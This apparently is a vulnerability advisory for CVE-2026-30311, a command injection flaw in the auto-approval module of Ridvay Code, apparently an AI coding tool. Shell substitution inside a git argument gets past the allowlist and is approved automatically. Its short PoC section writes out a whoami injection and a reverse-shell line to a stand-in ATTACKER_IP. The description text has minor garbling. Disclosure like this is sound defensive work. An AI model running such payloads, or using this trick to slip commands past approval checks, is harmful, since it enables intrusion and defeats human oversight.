Security Vulnerability Report
中文
CVE-2026-30311 CVSS 9.8 CRITICAL

CVE-2026-30311

Published: 2026-03-31 15:16:13
Last Modified: 2026-04-03 15:54:41

Description

Ridvay Code's command auto-approval module contains a critical OS command injection vulnerability that renders its whitelist security mechanism completely ineffective. The system relies on fragile regular expressions to parse command structures; while it attempts to intercept dangerous operations, it fails to account for standard Shell command substitution Ridvay Code (specifically$(...)and backticks ...). An attacker can construct a command such as git log --grep="$(malicious_command)", forcing Syntx to misidentify it as a safe git operation and automatically approve it. The underlying Shell prioritizes the execution of the malicious code injected within the arguments, resulting in Remote Code Execution without any user interaction.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ridvay:auto-approval_module:*:*:*:*:*:*:*:* - VULNERABLE
Ridvay Code (版本未指定)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-30311 Ridvay Code RCE # The vulnerability allows command injection via shell substitution in the auto-approval module. # Example 1: Simple command injection to verify user (whoami) # The system approves 'git log' but executes 'whoami' first. cmd = "git log --grep=\"$(whoami)\"" # Example 2: Creating a reverse shell # Replace ATTACKER_IP with the actual IP address. cmd = "git log --grep=\"$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')\"" # Send the malicious command to the vulnerable endpoint # (Implementation depends on the specific API endpoint of Ridvay Code) print(f"Executing payload: {cmd}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30311", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:12.987", "lastModified": "2026-04-03T15:54:40.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ridvay Code's command auto-approval module contains a critical OS command injection vulnerability that renders its whitelist security mechanism completely ineffective. The system relies on fragile regular expressions to parse command structures; while it attempts to intercept dangerous operations, it fails to account for standard Shell command substitution Ridvay Code (specifically$(...)and backticks ...). An attacker can construct a command such as git log --grep=\"$(malicious_command)\", forcing Syntx to misidentify it as a safe git operation and automatically approve it. The underlying Shell prioritizes the execution of the malicious code injected within the arguments, resulting in Remote Code Execution without any user interaction."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ridvay:auto-approval_module:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.1.1", "matchCriteriaId": "37024489-48B5-4B6F-8818-6EB0CEFF5A06"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/LLM-Tool-Calling-CVEs/issues/8", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://ridvay.com/", "source": "[email protected]", "tags": ["Product"]}]}}